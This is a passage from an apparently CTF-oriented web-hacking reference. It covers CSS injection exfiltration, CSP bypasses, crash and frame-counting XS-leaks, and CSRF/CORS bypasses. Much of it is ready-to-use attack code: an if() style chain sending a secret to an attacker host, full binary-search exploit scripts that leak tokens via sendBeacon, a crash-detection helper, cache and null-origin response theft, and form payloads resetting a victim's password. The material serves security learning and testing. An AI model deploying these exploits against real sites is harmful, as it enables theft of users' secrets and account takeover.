<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ cargo install https://github.com/d0nutptr/sic.git
</strong><strong>$ sic -t template.css --ph http://localhost:3000 --ch http://localhost:3001
</strong>[id: 3712083325] - S
[id: 3712083325] - SE
[id: 3712083325] - SEC
[id: 3712083325] - SECR
[id: 3712083325] - SECRE
<strong>[id: 3712083325] - SECRET
</strong></code></pre>

{% hint style="success" %}
**Tip**: to make your localhost accessible easily without access to your own domain/VPS, you can set up a free Cloudflare Quick Tunnel which gives you a `https://` subdomain tunneled to your localhost.

{% embed url="<https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/do-more-with-tunnels/trycloudflare/>" %}
{% endhint %}

### One-shot using 'contains' operator

While most techniques for leaking attributes do it one character at a time with the *prefix* operator (`^=`), there is also the *contains* operator (`*=`). By writing many partial substrings of text, you can find which ones exist on the target page and then combine them on the server into a single string. This makes it possible to leak an entire string from one single injection. It was the solution to the following challenge, with a writeup below:

{% embed url="<https://blog.huli.tw/2023/12/11/en/0ctf-2023-writeup/#web-newdiary-14-solves>" %}
Solution to "newdiary" writeup involving a one-shot CSS injection
{% endembed %}

### Other pages

Normally, it is only possible to exfiltrate content on the page the CSS Injection is on. But what if we can include other content just so we can leak it? The popular [`react-router`](https://reactrouter.com/) package for React is vulnerable to DOM Clobbering, where if we can include an extra `<iframe>` tag with an `srcdoc` attribute (through an HTML-Injection), we can give create a nested React renderer that loads another route!

With this, you can load any route to leak content of other more sensitive pages. The writeup below explains this:

{% embed url="<https://blog.huli.tw/2022/08/21/en/corctf-2022-modern-blog-writeup/>" %}
CTF Writeup of importing another route and leaking it with CSS
{% endembed %}

### Blackbox

In cases where you are testing for an injection without knowing where it will end up, potentially on someone else's browser, you won't know exactly what to target with the leak yet. Below is an implementation that leaks a lot of information on the page so you can figure out what the page looks like only using CSS exfiltration:

{% embed url="<https://portswigger.net/research/blind-css-exfiltration>" %}
Leak structure of unknown data
{% endembed %}

### Font ligatures

[Ligatures](https://en.wikipedia.org/wiki/Ligature_\(writing\)) are multiple characters that form a single character in a specific font. By loading a custom-created font with carefully crafted ligatures if varying sizes in CSS, you can measure the width conditionally using media queries. This allows you to determine which character are on a page, and which come after it using ligatures.

The tool below implements all this logic incredibly and has some features for inlining fonts as well with the `/static` endpoint. Check out the blog post to understand how it works:

{% embed url="<https://adragos.ro/fontleak/>" %}

### `style=` attribute leak with `if()`

An injection into the `style=` **attribute** is very limited, because selectors won't be available. On Chrome, you can still use some of the more recent features of [`attr()`](https://developer.mozilla.org/en-US/docs/Web/CSS/attr) to get an any attribute on the same element's value, then compare against it with chained [`if()`](https://developer.mozilla.org/en-US/docs/Web/CSS/if) statements to fetch different URLs.

This allows you to brute-force a value if there aren't too many possibilities:

{% code title="Generate attribute value" %}

```javascript
const possibilities = Array.from({ length: 100 }, (_, i) => i);
const attribute = "data-secret";
const attacker = "example.com";

const chain = possibilities.reduce(
    (acc, v) => `if(style(--val:"${v}"):url(//${attacker}/${v});else:${acc})`,
    'url(//example.com/unknown)'
);
const style = `--val:attr(data-secret);--steal:${chain};background:image-set(var(--steal))`
console.log(style);  // 4967 bytes
```

{% endcode %}

{% code title="Exploit example" %}

```html
<div data-secret="42" style='
  --val: attr(data-secret);
  --steal: if(style(--val:"99"):url(//example.com/99);else:if(...
  background: image-set(var(--steal));
'>
```

{% endcode %}

This makes a request to <https://example.com/42>, leaking the secret to the attacker.

## CSP Bypasses

### No images allowed (`img-src`)

If loading external images for exfiltration is disallowed by a CSP img-src directive, you may still be able to use font URLs if they are not blocked by font-src, connect-src or default-src directives. You must first define a `@font-face { font-family: a; src: url(...) }`, and then reference it in a selector like `input[value^="a"] { font-family: a }`. This works because the font will only be loaded if it is required by some element on the page.

### Text nodes without fonts (`font-src`)

When wanting to leak text nodes, the [#font-ligatures](#font-ligatures "mention") technique requires custom fonts to give character sequences varying heights. If you are **not** allowed to load custom fonts (even from eg. file uploads with `'self'`), this technique exists that uses more complex CSS features to achieve the same result:

{% embed url="<https://blog.pspaul.de/posts/bench-press-leaking-text-nodes-with-css/>" %}
Leaking text *without* fonts or @import chaining
{% endembed %}

### RPO & Quirks Mode (`'self'`)

Loading CSS resources from a trusted `'self'` is easy if you can upload raw files to the target and reference them as `Content-Type: text/css`, but this is far from always the case. This idea you can use here is **re-using HTML content as CSS**.

Since the CSS parser is incredibly lax, and knows no errors, any HTML page with some CSS rules embedded as text content can be successfully used by the browser. For example:

{% code title="/x?{}\*{color:red}" %}

```html
<h1>404 Not Found</h1>
<p>The path <code>/x?{}*{color:red}</code> was not recognized.</p>
```

{% endcode %}

When viewed as CSS, from `<h1>` to `/x?` is one big invalid selector, followed by an empty list of properties with `{}`. Then, a new selector opens with `*`, which has a `color: red` property. And finally some more junk at the end:

{% code title="Parsed as CSS" %}

```css
<h1>404 Not Found</h1>
<p>The path <code>/x?{}*{color:red}</code> was not recognized.</p>
```

{% endcode %}

{% code title="HTML" %}

```html
<link rel="stylesheet" href="/x?{}*{color:red}">
```

{% endcode %}

When loaded as CSS, it should make everything on the page <mark style="color:red;">red</mark>. While this sounds amazing, in reality there are a few more **rules** that the browser enforces to try and prevent this legacy behavior. Namely:

1. The **status code must be successful** (2XX), so errors like 404 or 400 won't work
2. There cannot be a `X-Content-Type-Options: nosniff` header, otherwise, the `text/html` content type would not be allowed for stylesheets
3. The document must be in [Quirks Mode](https://developer.mozilla.org/en-US/docs/Web/HTML/Guides/Quirks_mode_and_standards_mode), triggered by a missing `<!DOCTYPE html>` declaration at the start of the HTML wanting to load the stylesheet

This last condition is interesting, as it's not very obvious. You can notice it on a page by looking at the DevTools *Issues* tab that you can open from the *Console* top right (![](/files/PrnxPROVas0K3m0XRABO)), or comparing `document.compatMode` to `"BackCompat"` in JavaScript.

<figure><img src="/files/uXL1XPC0ifWHAwHlCsn9" alt=""><figcaption><p>Explanation of Quirks Mode issue by the browser itself if applicable to the current page</p></figcaption></figure>

It happens when the page does not start with `<!DOCTYPE html>` ([more info](https://hsivonen.fi/doctype/)), which is easy forget on some more basic/handwritten pages. What it does for us is allow resources with any content type to be loaded as CSS, including `Content-Type: text/html`!\
So, if you find any page with a successful status code, and a way to inject plain strings into there (no HTML tags required, we're just talking CSS syntax), you can load that as CSS and it should be trusted.

{% hint style="success" %}
**Tip**: in some cases you can *inject content before the doctype* to force it, like [with PHP warnings](https://blog.arkark.dev/2025/09/08/asisctf-quals#step-1-forcing-quirks-mode-with-php-warnings).
{% endhint %}

***

One variation of this where you *don't even need HTML/CSS Injection* is called **Relative Path Override** (RPO). It's relevant to webservers where the suffix of a path does not matter, and it uses relative paths for stylesheets.

{% embed url="<https://portswigger.net/research/detecting-and-exploiting-path-relative-stylesheet-import-prssi-vulnerabilities>" %}

One common example is the default PHP webserver with `php -S 0.0.0.0:8000`, it executes the same PHP handler `/page.php` for `/page.php/anything` and even `/page.php/style.css`. This becomes interesting when you look at the content of loading `/page.php/`:

{% code title="/page.php/" %}

```html
<link rel="stylesheet" href="style.css">
...
```

{% endcode %}

That stylesheet will request `style.css` relative to the current path, which is `/page.php/`, so results in `/page.php/style.css`. We just learned that this also resolves to the same PHP page so it effectively **loads itself as CSS**.

If you have any content injection (like "You searched for ...") this can now act as CSS, and is automatically loaded when suffix make the page with an extra `/` so that all relative paths point to it.\
You can escape almost any context by using a newline to close strings, then `{}` to ignore any prefix as a selector:

{% code title="Payload" %}

```css
%0a{}*{color:red}
```

{% endcode %}

### XS-Leaks without network

If no external requests can be made at all due to a strict CSP, it is still possible to use [XS-Leaks](https://xsleaks.dev/). These don't require the target page that you are injecting into to make connections, but instead, use window references or other shared information to **infer the result of a selector**.

#### Connection pool request counting

The browser has a limit of 256 simultaneously TCP connections globally. If we force the target to make a specific number of connections for each character, we can detect the limit being reached from our attacker's site and determine the result of the selector.

The writeup below explains this idea in great detail:

{% embed url="<https://salvatore-abello.github.io/posts/css-exfiltration-under-default-src-self/>" %}
CSS Exfiltration by measuring connection pool
{% endembed %}

#### Tab crash detection

Browsers have bugs, that inevitably cause crashes. If these can be conditionally triggered by a CSS selector matching or not, we can detect the fact that a crash occurred to learn the result of the selector cross-site.

One *previously working* crash was rendering `background: linear-gradient(in display-p3, red, blue)` ([issue 382086298](https://issues.chromium.org/issues/382086298)), it could be made conditional like this:

```css
input[value^="S"] {
  background: linear-gradient(in display-p3, red, blue)
}
```

If the input value starts with an `S`, the property is loaded and the tab will crash. Otherwise, the tab will remain executing normally. The crucial part that makes this detectable cross-site is the fact that if one instance of an origin crashes, all other same-site documents in the same tab context group also crash. This comes from [Full Site Isolation](https://chromium.googlesource.com/chromium/src/+/main/docs/process_model_and_site_isolation.md#Full-Site-Isolation-site_per_process) because they share a process.

**One way** this is **detectable** is using a few dummy iframes on the attacker's page of the same site with any path, and measuring `onload=` events. Once you conditionally crash the target in a popup window, the iframes on your page will crash with it and **stop emitting** `onload=` events. This is detectable, and doing it repeatedly allows reading larger strings (albeit a bit slow).

My writeup below shows me practically using it as an unintended solution to a CTF challenge:

{% embed url="<https://jorianwoltjer.com/blog/p/ctf/x3ctf-blogdog-new-css-injection-xs-leak#xs-leak-using-process-crashing>" %}
Writeup of unintentional solution about this new technique, and PoC's
{% endembed %}

***

Some CSS crashes like [issue 433073118](https://issues.chromium.org/issues/433073118) are useful to crash the page *if it is rendered*, but **don't allow** inserting conditional selectors to make it exploitable for CSS Injection. Because the crash happens while parsing it doesn't matter if it's used or not.

{% code title="Always crashes" %}

```html
<style>::placeholder{&{&{
```

{% endcode %}

In comparison, another more useful crash was [issue 435225409](https://issues.chromium.org/issues/435225409) where a **selected would have to match** for the crash to occur:

<pre class="language-html" data-title="Conditionally crashes"><code class="lang-html">&#x3C;style>
@starting-style {
<strong>  input[value^="S"]::first-letter {
</strong>    color: red;
  }
}
&#x3C;/style>
&#x3C;input value="SECRET">
</code></pre>

One **non-issue** way to crash *Chrome for Windows* (doesn't happen on Linux for some reason) relatively quickly is using a recursive DoS payload with variables that reference each other resulting in exponential growth:

```css
html {
  --a: url(/?1),url(/?1),url(/?1),url(/?1),url(/?1);
  --b: var(--a),var(--a),var(--a),var(--a),var(--a);
  --c: var(--b),var(--b),var(--b),var(--b),var(--b);
  --d: var(--c),var(--c),var(--c),var(--c),var(--c);
  --e: var(--d),var(--d),var(--d),var(--d),var(--d);
  --f: var(--e),var(--e),var(--e),var(--e),var(--e);
  --g: var(--f),var(--f),var(--f),var(--f),var(--f);
}
html:has(input[value^="S"]) {
  background-image: var(--g);
}
```

> Error code: `STATUS_STACK_OVERFLOW`

All of the above crashes are also detectable with another more consistent method using a window reference. Using the fact that a hash change (appending `#1` but keeping the rest of the URL the same) causes no reload on a regular existing tab, but does cause a reload on a *crashed* tab. While reloading the browser seems to not be able to keep up with the hash changes and **only puts the first in history**.\
This is then detectable using `window.length` after navigating it back to a same-origin page like `about:blank`.

The JavaScript function below can easily test for if a URL crashes or not by opening it in a new window:

```javascript
function isCrashing(url) {
  return new Promise((resolve) => {
    const w = window.open(url);
    setTimeout(async () => {
      // Crashed tab reloads here, but normal tab does not. We can detect this in history.length
      w.location = url + "#1";
      w.location = url + "#2";
      w.location = url + "#3";
      w.location = "about:blank";
      while (true) {  // Wait for `w` to become same-origin
        try {
          w.origin;
          break;
        } catch {
          await sleep(100);
        }
      }
      resolve(w.history.length < 4);  // If all navigations were added, it didn't crash
      w.close();
    }, 1000);  // Time until crash definitely happened
  });
}
// Usage
console.log(await isCrashing("https://target.tld/?css=..."));
```

{% hint style="success" %}
**Tip**: If you are in search of a method without the interaction required for `window.open()` you can simply open it once and change the leak to `w.location = url` and count the *difference* of lengths before and after instead.
{% endhint %}

#### `<object>` Frame Counting

A popular XS-Leak is called [Frame Counting](https://xsleaks.dev/docs/attacks/frame-counting/), abusing the cross-origin [`window.length`](https://developer.mozilla.org/en-US/docs/Web/API/Window/length) property on window references to count the number of `<iframe>`, `<object>` and `<embed>` elements. You can conditionally apply [`display: none`](https://developer.mozilla.org/en-US/docs/Web/CSS/display#display_none) to these to hide them from the counter. Since this is detectable cross-site, it's a great simple way to detect the result of a selector if there are such elements on the page, or if you can inject them.

For **iframes**, you should use [`loading="lazy"`](https://developer.mozilla.org/en-US/docs/Web/Performance/Guides/Lazy_loading#images_and_iframes) and scroll them in or out of view. `<object>` tags the simplest way as shown below (make sure they actually render something like `about:blank`):

{% code title="HTML payload" %}

```html
<style>
  html:has(input[value^="S"]) #leak {
    display: none;
  }
</style>
<object id="leak" data=about:blank></object>
<object data=about:blank></object>
```

{% endcode %}

If the `input[value^="S"]` selector matches, the length will be 1. If it doesn't match, the length will be 2.

<pre class="language-javascript" data-title="Leak selector result"><code class="lang-javascript">function sleep(ms) {
  return new Promise(r => setTimeout(r, ms));
}
async function waitForLength(w) {
  while (true) {
    if (w.length > 0) return;
    else await sleep(0);
  }
}

async function leak(url) {
  const w = window.open(url);
  // After at least one object has loaded
  await waitForLength(w);
  // Wait a small bit for potentially the 2nd to load (if it's not `display: none`)
  await sleep(100);
  const length = w.length;
  w.close();
  // Check if the selector matched. If it's 2, didn't match
<strong>  return length === 1;
</strong>}
</code></pre>

***

Apart from frame counting, you can also detect the [`name=`](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/iframe#name) attribute of frames by accessing their name as a [property on `window`](https://developer.mozilla.org/en-US/docs/Web/API/Window#named_properties). Using this, you can make specific properties exist if a selector matches, multiple times. This was the solution to a CTF challenge where you needed to perform [#one-shot-using-contains-operator](#one-shot-using-contains-operator "mention") without external network connections:

[Another Another CSP - justCTF writeup by @terjanq](https://gist.github.com/terjanq/3e866293610aa6c5629df4353e5d87d9#solution)

It is a very generic technique, and if you don't have length restrictions, **by far the fastest way** to leak data with CSS Injection and a restricted CSP.

#### Binary Search

Most of these techniques tell you *yes/no* if a selector matched or not. While you can sometimes iterate through potential prefix characters, even multiple ones at the same time, in some cases you are restricted to one result at a time. To speed up searches like this you can make use of a [Binary Search](https://en.wikipedia.org/wiki/Binary_search) algorithm where you leak exactly 1 bit of information for every question.

Using CSS selectors, this is simply by just specifying the half of the options it may be using `,` (comma) separated selectors:

```css
input[value^="A"], input[value^="B"], input[value^="C"], ... {
  ...
}
```

An implementation of this is below for easy copying:

<details>

<summary>Binary Search exploit script</summary>

<pre class="language-html" data-title="exploit.html"><code class="lang-html">&#x3C;script>
<strong>  const TARGET = "http://127.0.0.1:8080";
</strong><strong>  const ALPHABET = "0123456789abcdef".split("").join("");
</strong>
  function sleep(ms) {
    return new Promise((resolve) => setTimeout(resolve, ms));
  }
  async function waitForLength(w) {
    while (true) {
      if (w.length > 0) return;
      else await sleep(0);
    }
  }

  async function leak(url) {
    const w = window.open(url);
    // After at least one object has loaded
    await waitForLength(w);
    // Wait a small bit for potentially the 2nd to load (if it's not `display: none`)
    await sleep(100);
    const length = w.length;
    w.close();
    // Check if the selector matched. If it's 2, didn't match
    return length === 1;
  }

  async function test(mid) {
    console.log("chars", ALPHABET.split("").slice(0, mid));
    const selectors = ALPHABET.split("")
      .slice(0, mid)
      .map((c) => `body[secret^="${known + c}"] #leak`)
      .join(",");
    // To detect if a selector matched, conditionally display an &#x3C;object> so that .length changes from 1 to 2
    const payload = `
  &#x3C;style>
    ${selectors} {
      display: none;
    }
  &#x3C;/style>
  &#x3C;object id="leak" data=about:blank>&#x3C;/object>
  &#x3C;object data=about:blank>&#x3C;/object>
  `;
<strong>    // TODO: implement your HTML injection here
</strong><strong>    const url = TARGET + "/vuln?" + new URLSearchParams({ payload });
</strong>    return await leak(url);
  }

  async function binarySearch(low, high) {
    while (low !== high) {
      const mid = Math.floor((low + high) / 2);
      if (await test(mid + 1)) {
        high = mid;
      } else {
        low = mid + 1;
      }
    }
    return low;
  }

  let known = "";

  (async () => {
<strong>    for (let i = 0; i &#x3C; 32; i++) {
</strong>      // Use binary search for highest efficiency
      const found = await binarySearch(0, ALPHABET.length - 1);
      known += ALPHABET[found];
      console.log("Found", known);
      navigator.sendBeacon("/log?known=" + known);
    }
  })();
&#x3C;/script>

</code></pre>

</details>

If you are able to do around 2 actions at the same time, the `$=` attribute selector allows you to seek backwards at the same time. This will speed up your full search by 2x:

<details>

<summary>Binary Search (both directions) exploit script</summary>

<pre class="language-html" data-title="exploit.html"><code class="lang-html">&#x3C;script>
<strong>  const TARGET = "http://127.0.0.1:8080";
</strong><strong>  const ALPHABET = "0123456789abcdef".split("").join("");
</strong>
  function sleep(ms) {
    return new Promise((resolve) => setTimeout(resolve, ms));
  }
  async function waitForLength(w) {
    while (true) {
      if (w.length > 0) return;
      else await sleep(0);
    }
  }

  async function leak(url) {
    const w = window.open(url);
    // After at least one object has loaded
    await waitForLength(w);
    // Wait a small bit for potentially the 2nd to load (if it's not `display: none`)
    await sleep(100);
    const length = w.length;
    w.close();
    // Check if the selector matched. If it's 2, didn't match
    return length === 1;
  }

  async function test(mid, backward = false) {
    console.log("chars", ALPHABET.split("").slice(0, mid));
    const selectors = ALPHABET.split("")
      .slice(0, mid)
      .map((c) => `body[secret${backward ? "$" : "^"}="${backward ? c + suffix : prefix + c}"] #leak`)
      .join(",");
    // To detect if a selector matched, conditionally display an &#x3C;object> so that .length changes from 1 to 2
    const payload = `
  &#x3C;style>
    ${selectors} {
      display: none;
    }
  &#x3C;/style>
  &#x3C;object id="leak" data=about:blank>&#x3C;/object>
  &#x3C;object data=about:blank>&#x3C;/object>
  `;
<strong>    // TODO: implement your HTML injection here
</strong><strong>    const url = TARGET + "/vuln?" + new URLSearchParams({ payload });
</strong>    return await leak(url);
  }

  async function binarySearch(low, high, backward = false) {
    while (low !== high) {
      const mid = Math.floor((low + high) / 2);
      if (await test(mid + 1, backward)) {
        high = mid;
      } else {
        low = mid + 1;
      }
    }
    return low;
  }

  let prefix = "";
  let suffix = "";

<strong>  // We search forward (^=) and backward ($=) simultaneously. Token is 32 chars long, so both 16 each
</strong>  (async () => {
    for (let i = 0; i &#x3C; 16; i++) {
      // Use binary search for highest efficiency
      const found = await binarySearch(0, ALPHABET.length - 1);
      prefix += ALPHABET[found];
      console.log("Found", prefix);
      navigator.sendBeacon("/log?prefix=" + prefix);
    }
  })();
  (async () => {
    for (let i = 0; i &#x3C; 16; i++) {
      const found = await binarySearch(0, ALPHABET.length - 1, true);
      suffix = ALPHABET[found] + suffix;
      console.log("Found", suffix);
      navigator.sendBeacon("/log?suffix=" + suffix);
    }
  })();
&#x3C;/script>

</code></pre>

</details>


# Cross-Site Request Forgery (CSRF)

Submitting data-altering requests blindly from your domain on the client-side. Cookies are automatically sent, often requiring CSRF tokens as protection

## Description

Websites need to be able to access their own sensitive content, while malicious websites should not be able to access that same data from another site. To make this possible, *browsers* implement some **same-origin** and **same-site** policies. These either allow or deny an action based on the **origins** of the request. As you can read in the table below, *same-site* is generally more allowing than *same-origin*:

<table><thead><tr><th width="244">Request from -></th><th width="216">-> Request to</th><th>Same-site?</th><th>Same-origin?</th></tr></thead><tbody><tr><td><code>example.com</code></td><td><code>example.com</code></td><td><mark style="color:green;"><strong>Yes</strong></mark></td><td><mark style="color:green;"><strong>Yes</strong></mark></td></tr><tr><td><code>app.example.com</code></td><td><code>other.example.com</code></td><td><mark style="color:green;"><strong>Yes</strong></mark></td><td><mark style="color:red;"><strong>No</strong></mark>: mismatched domain name</td></tr><tr><td><code>example.com</code></td><td><code>example.com:8080</code></td><td><mark style="color:green;"><strong>Yes</strong></mark></td><td><mark style="color:red;"><strong>No</strong></mark>: mismatched port</td></tr><tr><td><code>example.com</code></td><td><code>example.co.uk</code></td><td><mark style="color:red;"><strong>No</strong></mark>: mismatched <a href="https://publicsuffix.org/">eTLD</a></td><td><mark style="color:red;"><strong>No</strong></mark>: mismatched domain name</td></tr><tr><td><code>https://example.com</code></td><td><code>http://example.com</code></td><td><mark style="color:red;"><strong>No</strong></mark>: mismatched scheme</td><td><mark style="color:red;"><strong>No</strong></mark>: mismatched scheme</td></tr></tbody></table>

Another term important to cookies is when requests are **'top-level'** or not. One simple definition is if the address bar matches the request being made. Redirection or `window.open()`, for example, are top-level navigations. A `fetch()` or `<iframe>`, however, are not, because the address bar shows a different address to the resource being requested.

## Same-origin & CORS

One feature that uses the **same-origin** policy is [Cross-Origin Resource Sharing (CORS)](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS). This prevents an attacker from requesting a page from a website on a user's behalf and being able to read the response content. If this were not the case, any website could steal secrets from any other website by simply requesting them.\
This policy ensures certain response headers are explicitly set to allow cross-origin resource sharing.

* [`Access-Control-Allow-Origin`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Origin)`: <origin> | *`: If this header is missing, no other origins are allows to read the body. If it is a valid origin, the body may be read if the requesting origin is the same as that in this header. If the value is "`*`" (wildcard), any origin may read the body.
* [`Access-Control-Allow-Credentials`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Credentials)`: true`: If this header is missing, it is interpreted as `false`. If it is instead explicitly set to `true`, the incoming request made by `fetch()` may include cookies, only if `...-Allow-Origin` is not `*` during the preflight request.\
  It must be a full origin. This is why some REST APIs simply reflect the incoming `Origin` header to allow any site to include cookies.

Fetch requests must explicitly ask to include cookies if they want to send cookies and read a response. This is done using the [`credentials:`](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API/Using_Fetch#sending_a_request_with_credentials_included) option. If by the [#same-site](#same-site "mention") rules explained below your background request is allowed to include cookies, and the `Access-Control` headers allow it, the following request will be authenticated and allow you to read the response cross-site:

```javascript
fetch("http://example.com/some_data", { 
  credentials: 'include' 
}).then((r) => r.text().then((t) => {
  console.log(t);
}));
```

### Origin Check Bypasses

Some sites conditionally add an `Access-Control-Allow-Origin:` header to the response if the request's `Origin:` comes from a trusted domain. If the check of this origin is flawed, you may be able to fool it with a special domain.

Test this by making the cross-site request you want to make, and change the `Origin:` header to some variations of a trusted domain. If the site **trusts** `api.example.com`, for example, try some of the following **registerable** permutations ([source](https://x.com/hackerscrolls/status/1294203081148768256)):

<table><thead><tr><th width="281">Technique</th><th>Examples</th></tr></thead><tbody><tr><td><strong>Any domain</strong></td><td><code>evil.com</code></td></tr><tr><td><strong>Different TLDs</strong></td><td><code>api.example.net</code><br><code>api.example.io</code></td></tr><tr><td><strong>Subdomains</strong> (requires XSS or subdomain takeover)</td><td><code>xss.api.example.com</code><br><code>takeover.api.example.com</code></td></tr><tr><td><strong>Pad domain from left</strong></td><td><code>evilexample.com</code><br><code>api-example.com</code></td></tr><tr><td><strong>Pad domain from right</strong></td><td><code>api.example.com.evil.com</code><br><code>api.example.comevil.com</code></td></tr></tbody></table>

If you can successfully send a request from any of the above origins and read a response, you have bypassed CORS!

### Origin: null

If the application responds with `Access-Control-Allow-Origin: null` by default, or when you set `Origin: null`, you are able to exploit this cross-site to read a response. Multiple ways allow you to send JavaScript requests from a `null` origin, such as the `<object>` tag or a sandboxed `<iframe>` ([source](https://x.com/hackerscrolls/status/1307252040993824775)):

```html
<body></body>
<script>
  const iframe = document.createElement("iframe")
  iframe.sandbox = "allow-scripts allow-modals"
  iframe.srcdoc = `<script>
    fetch("https://example.com").then(r => r.text().then(t => {
      top.postMessage(t, '*')
    }))
  <\/script>`
  document.body.appendChild(iframe)

  onmessage = (e) => {
    if (e.source == iframe.contentWindow) {
      alert(e.data)
    }
  }
</script>
```

### `Origin: *` with credentials (cache)

One common configuration is to set `Access-Control-Allow-Origin: *` in the response to some authenticated endpoint, without `Access-Control-Allow-Credentials: true`. `*` is special here in that it allows any origin to read the body, but because this is dangerous the browser will not allow such requests to be with cookies ("credentials").

You can bypass this restriction by abusing the **browser cache**. Every URL not explicitly denied from the cache using `Cache-Control` headers may be cached by the browser, and these caches are shared with sites under the same [*eTLD+1*](https://web.dev/articles/same-site-same-origin#public-suffix-list-etld). This means subdomains under one main domain will all share the same cache.

The attacker can first open the target page in a new top-level window, which will use cookies and cache the response, while not being able to read it. Then use the `cache: "force-cache"` option to fetch the response from the cache without sending a request or dealing with CORS, leaking the response from the first request:

<pre class="language-php" data-title="Vulnerable code (/api/profile)"><code class="lang-php">&#x3C;?php
<strong>header("Access-Control-Allow-Origin: *");
</strong>
// ... do something with $_SESSION and echo it
</code></pre>

<pre class="language-javascript" data-title="Exploit (xss.example.com)"><code class="lang-javascript">const TARGET = "https://example.com/api/profile";
onclick = async () => {
<strong>  w = window.open(TARGET, "popup");  // With cookies
</strong>  setTimeout(() => { w.close() }, 1000);

  // Get from cache without cookies or CORS
  const leak = await fetch(TARGET, {
<strong>    cache: "force-cache",
</strong>  }).then((response) => response.text())

  console.log(leak);
}
</code></pre>

Note that this doesn't work on a completely separate attacker's domain, because the [cache partition](https://developer.chrome.com/blog/http-cache-partitioning) will be different. You need to have an XSS on a subdomain to exploit this on the vulnerable domain. This trick also only works on Chromium-based browsers, Firefox does not seem to be affected.

### Preflight & Content Types

With `fetch()` requests (not forms), you can send very complex requests with custom headers and methods. Because these can be dangerous if authenticated by cookies, the browser will only allow sending [simple requests](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests) cross-origin. Any more complex requests will first send a *Preflight* request that asks the server what is allowed, and then decide on if the real request will be allowed or not.

You cannot, for example, add a `Content-Type: application/json` header to your request, or send a `PUT` method. You need to either find a "simple" alternative that is also accepted by the server, or be allowed via the preflight check.

One common problem is the server requiring a `Content-Type: application/json` body as a request to your sensitive endpoint. Exploiting this is non-trivial, but there are some edge cases where it is possible:

1. The server can also parse `Content-Type: application/x-www-form-urlencoded` data, and you can transform the JSON into such fields. Potentially creating arrays with duplicate parameters or `param[]=`, and creating objects with `obj[key]=value` syntax.
2. The server accepts `Content-Type: text/plain` with a JSON body, which can be created in a form like this:

{% code title="Exploit HTML" overflow="wrap" %}

```html
<form id=form action="https://example.com/reset_password" method="POST" enctype="text/plain">
  <input type="text" name='{"password":"hacked","dummy":"' value='"}'>
</form>
<script>form.submit();</script>
```

{% endcode %}

By putting arbitrary JSON data in the name/value, we can make the mandatory `=` separator part of a dummy string. To the server, this may look like a valid body and it even works with a top-level context.

<pre class="language-http" data-title="Request"><code class="lang-http">POST /reset_password HTTP/1.1
Host: example.com
<strong>Content-Type: text/plain
</strong>
{"password":"hacked","dummy":"="}
</code></pre>

3. The server accepts *missing Content-Type* with a JSON body ([source](https://nastystereo.com/security/cross-site-post-without-content-type.html)):

{% code title="Exploit JavaScript" %}

```javascript
fetch("https://example.com/reset_password", {
  method: "POST",
  body: new Blob(['{"password":"hacked"}'])
});
```

{% endcode %}

This will send a request without a `Content-Type:` header. The server might then default to JSON and successfully parse your body:

{% code title="Request" %}

```http
POST /reset_password HTTP/1.1
Host: example.com

{"password":"hacked"}
```

{% endcode %}

4. Confuse the parser with a charset that looks like the JSON content type. Using `fetch()` it is possible to add a `;charset=` to the `Content-Type` header with very lax parsing. Read the research below for details:

{% embed url="<https://github.com/BlackFan/content-type-research>" %}
Research into Content Types, including ways to confuse x-www-form-urlencoded data for JSON
{% endembed %}

{% hint style="info" %}
**Tip**: If you are missing cookies even though `SameSite=None`, it's likely the result of [#third-party-cookie-protections](#third-party-cookie-protections "mention"). Try opening your target in a window from your site first to bypass it.
{% endhint %}

## Same-site

A different feature that uses the **same-site** policy is **Cookies**. On many websites cookies are all that authenticates the user. If a request includes the session cookie of a user, they are allowed to perform actions on their account. Simple as that.\
To make sure malicious websites cannot simply recreate a `<form>` and send it automatically to change a password, for example, these requests are checked to be *same-site* (see table above). If the origins are not same-site the cookies will not be sent.

In the early web days, this `SameSite` did not exist for cookies. Nowadays it is an attribute on cookies that may be `None` (no protections), `Lax` (default, some protections) or `Strict` (most protections).

This value is important to know as it decides what kind of cross-site requests will be authenticated. The table above shows that at least **any subdomain on any port** will **bypass** same-site protections because it is considered same-site. This means that any [Cross-Site Scripting (XSS)](/web/client-side/cross-site-scripting-xss) vulnerability on such a website may lead to you being able to make authenticated requests!

All `SameSite=` values have the following meanings:

1. `SameSite=`<mark style="color:red;">**`None`**</mark>: *All* cross-site requests to the cookie's origin will include cookies.
2. `SameSite=`<mark style="color:blue;">**`Lax`**</mark>: *Only* top-level GET requests will contain the cookie. Any other requests such as POST, `<iframe>`'s, `fetch()` or other background requests will not include this cookie.
3. `SameSite=`<mark style="color:green;">**`Strict`**</mark>: *No* cross-site requests will include cookies. In simple terms, this means that if the target site for the request does not match the site currently shown in the browser's address bar, it will not include the cookie. A redirect is not sufficient here, as the origin at the time of redirection is still yours instead of the target.
4. `SameSite` is <mark style="color:yellow;">**missing**</mark>: When the attribute is not explicitly set for a cookie, it gets a little complicated because the browser tries to be backward compatible. For *Firefox*, the value will be **None** by default, with no restrictions. For *Chromium*, however, the value will be **Lax\*** by default.\
   \* This asterisk is saying that for the first 2 minutes of the cookie being set, it will be sent on cross-site top-level POST requests, in contrast to the normal Lax behavior. After this 2-minute window, the behavior mimics Lax completely, disallowing cross-site top-level POST requests again.

### Third-party cookie protections

{% embed url="<https://swarm.ptsecurity.com/bypassing-browser-tracking-protection-for-cors-misconfiguration-abuse/>" %}
Research on this topic in major browsers, explaining more details
{% endembed %}

While the above rules covered everything for a long time, privacy and tracking concerns pushed browsers to limit cross-site cookies even more. These rules only restrict requests that are not top-level. When you make a `fetch()` request, for example, the cookies will not be included, even if `SameSite=None`! This rule adds to the regular same-site rules.

All browsers are implementing this in slightly different ways, check out the documentation for each:

* Chromium: [Privacy Sandbox Tracking Protection](https://developers.google.com/privacy-sandbox/3pcd)
* Firefox: [Enhanced Tracking Protection](https://support.mozilla.org/en-US/kb/enhanced-tracking-protection-firefox-desktop#w_what-enhanced-tracking-protection-blocks)
* Safari: [Intelligent Tracking Prevention](https://webkit.org/blog/9521/intelligent-tracking-prevention-2-3/)

